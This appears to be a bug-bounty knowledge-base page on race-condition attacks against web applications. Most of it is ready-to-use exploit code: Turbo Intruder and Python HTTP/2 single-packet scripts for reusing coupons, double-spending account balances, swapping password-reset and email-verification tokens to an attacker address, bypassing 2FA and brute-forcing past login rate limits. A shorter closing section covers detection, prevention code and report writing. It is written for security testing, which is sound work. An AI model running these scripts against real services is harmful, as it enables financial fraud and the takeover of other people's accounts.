Race Condition → Business Logic Bypass¶
Exploiting timing windows to break application state and bypass security controls.
TL;DR¶
Race conditions exploit the gap between check and action. When multiple requests hit a server simultaneously, they can: - Use coupons/gift cards multiple times - Double-spend account balances - Bypass rate limits and 2FA - Corrupt session state for account takeover
Key insight: Every HTTP request transitions through hidden "sub-states" — with precise timing, you can abuse these fleeting states.
Overview¶
Concurrent Requests → Race Window → State Collision → Logic Bypass
↓
Limit Bypass (coupons, votes, rewards)
Balance Manip (double-spend, overdraw)
State Confusion (password reset, 2FA bypass)
Session Fixation (email verification swap)
HTTP/2 Single-Packet Attack¶
The breakthrough technique from James Kettle (PortSwigger) — Black Hat USA 2023
Traditional race conditions were unreliable due to network jitter. The single-packet attack solves this by completing 20-30 HTTP/2 requests with a single TCP packet, eliminating network variance entirely.
How It Works¶
1. Open HTTP/2 connection
2. Send all requests EXCEPT final byte of each
3. Wait 100ms for packets to arrive at server
4. Send ALL final bytes in ONE TCP packet
5. Server processes all requests simultaneously
Benchmark Results¶
| Technique | Median Spread | Std Deviation |
|---|---|---|
| Last-byte sync (HTTP/1.1) | 4ms | 3ms |
| Single-packet (HTTP/2) | 1ms | 0.3ms |
Result: 4-10x more effective. A real vulnerability that took 2+ hours with last-byte sync was exploited in 30 seconds with single-packet.
Turbo Intruder Scripts¶
Basic Single-Packet Attack¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2 # Required for HTTP/2
)
# Queue 20 identical requests with gate
for i in range(20):
engine.queue(target.req, gate='race1')
# Release all requests simultaneously
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Multi-Endpoint Race (Payment + Add Item)¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Payment request
paymentReq = '''POST /checkout/pay HTTP/2
Host: target.com
Cookie: session=xxx
Content-Type: application/x-www-form-urlencoded
cart_id=123&payment_method=card'''
# Add item request
addItemReq = '''POST /cart/add HTTP/2
Host: target.com
Cookie: session=xxx
Content-Type: application/x-www-form-urlencoded
product_id=expensive_item&qty=1'''
# Send payment + multiple add-item requests
engine.queue(paymentReq, gate='race1')
for i in range(10):
engine.queue(addItemReq, gate='race1')
engine.openGate('race1')
Password Reset Token Race¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Same session, two different emails
attackerEmail = '''POST /password-reset HTTP/2
Host: target.com
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
email=attacker@evil.com'''
victimEmail = '''POST /password-reset HTTP/2
Host: target.com
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded
email=victim@target.com'''
# Alternate to maximize collision chance
for i in range(10):
engine.queue(attackerEmail, gate='race1')
engine.queue(victimEmail, gate='race1')
engine.openGate('race1')
HTTP/1.1 Fallback (Last-Byte Sync)¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30, # Parallel connections
requestsPerConnection=1,
engine=Engine.THREADED # HTTP/1.1 mode
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
Chain 1: Limit Overrun — Coupon/Discount Abuse¶
The classic race condition — apply a one-time code multiple times
Vulnerable Pattern¶
# Pseudo-code: TOCTOU vulnerability
def apply_coupon(coupon_code, cart):
if coupon_code not in used_coupons: # CHECK
cart.apply_discount(coupon_code) # USE
used_coupons.add(coupon_code) # UPDATE (too late!)
Attack¶
POST /cart/coupon HTTP/2
Host: shop.example.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
code=SAVE50
Send 20+ times simultaneously → discount applied multiple times
Real-World Examples¶
| Target | Vulnerability | Bounty |
|---|---|---|
| Reverb.com | Gift card redeemed multiple times | $500 |
| Starbucks | Reward points multiplied | $3,000 |
| Various e-commerce | Coupon stacking via race | $1,000-5,000 |
Burp Suite Repeater Method¶
- Create request group (right-click → Add to tab group)
- Add 20 copies of coupon request
- Right-click group → Send group in parallel
Chain 2: Balance Manipulation — Double-Spend¶
Withdraw/transfer more than your balance allows
Vulnerable Pattern¶
def withdraw(user, amount):
balance = get_balance(user) # READ
if balance >= amount: # CHECK
# Race window here!
deduct_balance(user, amount) # WRITE
send_money(amount)
Attack Scenario¶
Account balance: $100
Attacker sends 5 concurrent withdrawals of $100
Expected: 1 succeeds, 4 fail
Actual: 2-3 succeed = $200-300 withdrawn from $100 balance
Turbo Intruder Script¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
withdrawReq = '''POST /api/withdraw HTTP/2
Host: bank.example.com
Authorization: Bearer xxx
Content-Type: application/json
{"amount": 100, "destination": "attacker_account"}'''
for i in range(20):
engine.queue(withdrawReq, gate='race1')
engine.openGate('race1')
Financial Platform Variations¶
- Crypto exchanges: Withdraw more tokens than balance
- Gaming platforms: Bet more credits than available
- Gift card sites: Transfer full balance multiple times
- Reward programs: Redeem points multiple times
Chain 3: State Confusion — Password Reset Takeover¶
From James Kettle's research: Session-based race condition in password reset
Vulnerable Pattern (Devise/Rails common issue)¶
# Password reset flow stores in session
session[:reset_user_id] = params[:email]
token = generate_token()
session[:reset_token] = token
send_email(params[:email], token)
Attack¶
Two concurrent password reset requests from same session, different emails:
1. Request A: email=victim@target.com
2. Request B: email=attacker@evil.com
Result: Session ends up with:
- reset_user_id = victim@target.com (from request A)
- reset_token = [token sent to attacker@evil.com] (from request B)
Attacker receives token that resets victim's password!
Exploitation Script¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
for attempt in range(20):
# Victim email
engine.queue('''POST /password/reset HTTP/2
Host: target.com
Cookie: session=shared_session_id
email=victim@company.com''', gate=str(attempt))
# Attacker email
engine.queue('''POST /password/reset HTTP/2
Host: target.com
Cookie: session=shared_session_id
email=attacker@evil.com''', gate=str(attempt))
engine.openGate(str(attempt))
Chain 4: 2FA Bypass via Race Window¶
Exploit the sub-state between login and 2FA enforcement
Vulnerable Pattern¶
def login(username, password):
user = authenticate(username, password)
session['user_id'] = user.id # Logged in!
if user.mfa_enabled:
session['enforce_mfa'] = True # MFA flag set AFTER login
redirect('/mfa-verify')
Race window: User is "logged in" before enforce_mfa is set.
Attack¶
Simultaneously: 1. Send login request 2. Send request to sensitive authenticated endpoint
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
loginReq = '''POST /login HTTP/2
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=victim&password=known_password'''
adminReq = '''GET /admin/dashboard HTTP/2
Host: target.com
Cookie: session=new_session_token'''
engine.queue(loginReq, gate='race1')
for i in range(10):
engine.queue(adminReq, gate='race1')
engine.openGate('race1')
Reported Bounties¶
- HackerOne: 2FA bypass via race condition — $2,500
- GitLab: Email verification race — Critical severity
Chain 5: Email Verification Swap (GitLab Vulnerability)¶
Confirms wrong email address via race
Attack Flow¶
1. Request email change to attacker@evil.com
2. Simultaneously request change to victim@target.com
3. Server sends verification tokens in race
4. Email to attacker contains token for victim's address
5. Click link → victim email now controlled by attacker
Proof of Concept¶
# Request 1 - Send 10 times
POST /api/user/email HTTP/2
Host: gitlab.example.com
Cookie: session=xxx
{"email": "attacker@evil.com"}
# Request 2 - Send 10 times
POST /api/user/email HTTP/2
Host: gitlab.example.com
Cookie: session=xxx
{"email": "victim@company.com"}
Monitor attacker inbox for verification link → may confirm victim's email
Chain 6: Partial Construction Race¶
Exploit uninitialized database fields
Vulnerable Pattern¶
# User creation in two steps
INSERT INTO users (email, username) VALUES (?, ?) # Step 1
UPDATE users SET api_key = ? WHERE id = ? # Step 2
# Brief window where api_key is NULL/empty
Attack¶
# Registration request
POST /register HTTP/2
Host: target.com
email=test@test.com&username=newuser
# Simultaneously try to login with empty token
POST /api/auth HTTP/2
Host: target.com
token= # Empty string
token[]= # Empty array (PHP)
PHP trick: param[]= results in empty array, which may match uninitialized field
Ruby on Rails Version¶
POST /api/verify?token[key]=
# Results in: {"token" => {"key" => nil}}
# May match user with nil confirmation token
Chain 7: Rate Limit Bypass¶
Exhaust brute-force protection with parallel requests
Attack¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Send 100 password guesses before rate limit kicks in
passwords = ['password1', 'password2', ...] # 100 passwords
for pwd in passwords:
engine.queue(target.req.replace('%s', pwd), gate='race1')
engine.openGate('race1')
Result: 100 attempts processed before counter increments → bypass 5-attempt limit
Chain 8: OAuth Refresh Token Race¶
Generate multiple valid refresh tokens
Attack Flow¶
1. Legitimate OAuth authorization grants code
2. Race multiple token exchange requests
3. Each request may generate separate refresh token
4. User revokes access → some tokens survive
Exploitation¶
# Same authorization_code, multiple simultaneous exchanges
for i in range(20):
engine.queue('''POST /oauth/token HTTP/2
Host: oauth.provider.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=SAME_CODE&redirect_uri=...''',
gate='race1')
engine.openGate('race1')
Python Alternative (No Burp Suite)¶
Using httpx + asyncio¶
import asyncio
import httpx
async def race_request(client, url, data):
return await client.post(url, data=data)
async def main():
async with httpx.AsyncClient(http2=True) as client:
tasks = []
# Create 20 concurrent requests
for _ in range(20):
tasks.append(
asyncio.ensure_future(
race_request(client,
'https://target.com/apply-coupon',
{'code': 'DISCOUNT50'}
)
)
)
# Fire all simultaneously
results = await asyncio.gather(*tasks, return_exceptions=True)
for r in results:
if hasattr(r, 'status_code'):
print(f"Status: {r.status_code}")
asyncio.run(main())
Using h2spacex (True Single-Packet)¶
from h2spacex import H2OnTlsConnection
host = "target.com"
port = 443
h2_conn = H2OnTlsConnection(hostname=host, port_number=port)
h2_conn.setup_connection()
# Generate stream IDs
stream_ids = h2_conn.generate_stream_ids(number_of_streams=50)
all_headers = []
all_data = []
for i, stream_id in enumerate(stream_ids):
headers, data = h2_conn.create_single_packet_http2_post_request_frames(
method='POST',
headers_string='Content-Type: application/x-www-form-urlencoded\r\nCookie: session=xxx',
scheme='https',
stream_id=stream_id,
authority=host,
body='code=DISCOUNT50',
path='/apply-coupon'
)
all_headers.append(headers)
all_data.append(data)
# Send headers (everything except last byte)
h2_conn.send_bytes(b''.join(bytes(h) for h in all_headers))
import time; time.sleep(0.1) # Wait for network
# Send ping to warm connection
h2_conn.send_ping_frame()
# Release all final bytes simultaneously
h2_conn.send_bytes(b''.join(bytes(d) for d in all_data))
# Read responses
resp = h2_conn.read_response_from_socket(_timeout=5)
Detection Methodology¶
1. Identify Targets¶
Look for: - Single-use tokens (coupons, invites, verification) - Balance/counter operations - State-changing operations on shared resources - Session-stored data modified by multiple endpoints
Key questions: - Is state stored server-side (not just JWT)? - Does the operation EDIT existing data (not just append)? - What's the operation keyed on (session, user ID, token)?
2. Benchmark Normal Behavior¶
Send requests sequentially first to understand expected responses.
3. Send Parallel Requests¶
Use single-packet attack with 20-30 requests.
4. Look for Clues¶
- Different response codes
- Different response times
- Different response bodies
- Second-order effects (extra emails, changed data)
Negative timestamps in Turbo Intruder = response before request completed = race confirmed!
Session-Based Locking Bypass¶
PHP locks requests per session by default
// PHP serializes requests with same session
session_start(); // Blocks until previous request completes
Bypass¶
Use different session tokens for each parallel request:
sessions = ['session1', 'session2', 'session3', ...]
for i, sess in enumerate(sessions):
req = target.req.replace('session=xxx', f'session={sess}')
engine.queue(req, gate='race1')
Real Bug Bounty Reports¶
| Platform | Vulnerability | Impact | Bounty |
|---|---|---|---|
| HackerOne | Flag submission race | Points inflation | N/A |
| Reverb.com | Gift card redeem race | Financial | $500 |
| GitLab | Email verification race | Account takeover | Critical |
| Starbucks | Reward multiplication | Financial | $3,000 |
| Every.org | Follow race condition | Social manipulation | $250 |
| Pornhub Premium | Subscription race | Access control | $520 |
Prevention¶
1. Database-Level Locking¶
-- Pessimistic locking
SELECT balance FROM accounts WHERE id = ? FOR UPDATE;
-- Optimistic locking with version
UPDATE accounts
SET balance = balance - 100, version = version + 1
WHERE id = ? AND version = ?;
2. Idempotency Keys¶
def process_payment(idempotency_key, amount):
if redis.setnx(f"payment:{idempotency_key}", "processing"):
# First request - process
result = charge_card(amount)
redis.set(f"payment:{idempotency_key}", result)
else:
# Duplicate - return cached result
return redis.get(f"payment:{idempotency_key}")
3. Atomic Operations¶
# Bad
balance = get_balance(user)
if balance >= amount:
set_balance(user, balance - amount)
# Good - atomic decrement
result = db.execute("""
UPDATE accounts
SET balance = balance - %s
WHERE id = %s AND balance >= %s
RETURNING balance
""", (amount, user_id, amount))
4. Request Serialization¶
import threading
user_locks = {}
def get_user_lock(user_id):
if user_id not in user_locks:
user_locks[user_id] = threading.Lock()
return user_locks[user_id]
def withdraw(user_id, amount):
with get_user_lock(user_id):
# Serialized per-user
process_withdrawal(user_id, amount)
5. Cryptographic Tokens¶
# Use unpredictable, one-time tokens
import secrets
def generate_coupon():
return secrets.token_urlsafe(32) # Can't be predicted/reused
Impact Scoring¶
| Scenario | Impact | CVSS |
|---|---|---|
| Rate limit bypass (login) | Medium | 5.3 |
| Coupon/discount abuse | Medium-High | 6.5 |
| Balance manipulation | High | 8.1 |
| 2FA bypass | High | 8.1 |
| Account takeover via state confusion | Critical | 9.8 |
PoC Report Template¶
## Summary
Race condition in [endpoint] allows [impact] by sending concurrent requests.
## Vulnerability Type
TOCTOU (Time-of-Check to Time-of-Use) / Race Condition
## Steps to Reproduce
1. Configure Burp Suite with Turbo Intruder
2. Create request to [endpoint]
3. Send 20 parallel requests using single-packet attack
4. Observe [unexpected behavior]
## Request
POST /endpoint HTTP/2
Host: target.com
[headers]
[body]
## Impact
[Describe business impact - financial loss, unauthorized access, etc.]
## Remediation
- Implement database-level locking
- Use idempotency keys for sensitive operations
- Atomic database operations
## References
- https://portswigger.net/research/smashing-the-state-machine
Tools¶
| Tool | Use Case |
|---|---|
| Burp Suite Repeater | Quick parallel group sending |
| Turbo Intruder | Complex race scripts, HTTP/2 |
| h2spacex | Python HTTP/2 single-packet |
| httpx | Python async HTTP/2 client |
| Wireshark | Verify single-packet delivery |
Research credit: James Kettle (PortSwigger) — "Smashing the State Machine" Black Hat USA 2023
Related: OAuth to ATO | XSS to ATO